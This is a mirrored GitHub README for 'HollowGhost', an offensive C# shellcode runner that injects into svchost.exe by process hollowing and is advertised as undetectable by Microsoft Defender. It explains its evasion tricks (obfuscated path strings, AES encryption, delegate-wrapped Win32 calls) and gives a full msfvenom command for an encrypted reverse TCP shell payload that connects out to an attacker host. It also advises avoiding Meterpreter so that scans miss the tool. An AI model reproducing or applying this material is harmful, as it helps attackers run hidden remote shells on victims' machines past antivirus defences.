GithubHelp home page GithubHelp logo

kare1337 / hollowghost Goto Github PK

View Code? Open in Web Editor NEW

This project forked from logan-elliott/hollowghost

0.0 0.0 0.0 491 KB

Process hollowing C# shellcode runner that is FUD against Microsoft Defender as of October 7, 2023.

C# 100.00%

hollowghost's Introduction

HollowGhost ๐Ÿ‘ป

Process hollowing C# shellcode runner that is FUD against Microsoft Defender as of October 7, 2023.

HollowGhost performs process hollowing injection into svchost.exe on Windows.

This shellcode runner is currently FUD by Microsoft Defender at scan-time, runtime, and during on-demand scanning with an active shell.

Disclaimer: The resources provided are only for educational and research purposes. I am, in no way, responsible for any misuse of these resources. The resources shown here should only be used legally for ethical hacking.

There are currently two versions of this shellcode runner.

The only difference between the two:

  • HollowGhost utilizes string concatenation to obfuscate the file path string "C:\Windows\System32\svchost.exe" passed to the CreateProcess Win32 API function.

  • HollowGhostEncPath utilizes AES encryption with a dynamically generated IV and key to obfuscate the file path string "C:\Windows\System32\svchost.exe" passed to the CreateProcess Win32 API function.

Both versions of the shellcode runner use custom delegate functions to obfuscate the Win32 API function calls and evade antivirus.

Payload:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.X.X LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key z -i 20 | tr -d '\n\r'

Note: Using a Meterpreter payload will result in detection if an on-demand scan is performed while the shell session is active. Therefore, stick to payloads that don't use Meterpreter.

Instructions

To keep things contained to one repository, both projects are within the HollowGhost.sln solution.

  • Clone the repository git clone https://github.com/Logan-Elliott/HollowGhost.git
  • Open the HollowGhost.sln solution file with Visual Studio
  • Set build configuration to Release
  • Set platform to x64
  • Good to go ๐Ÿ‘

Windows 11 Build Tested

win11-build

HollowGhost: FUD During On-Demand Scanning With Shell

hollowghost-fud-on-demand-scan

HollowGhostEncPath: FUD During On-Demand Scanning With Shell

enc-path-fud-on-demand-scan

To-Do List

  • Edit code to output PID of the created svchost.exe process to the console

hollowghost's People

Contributors

logan-elliott avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.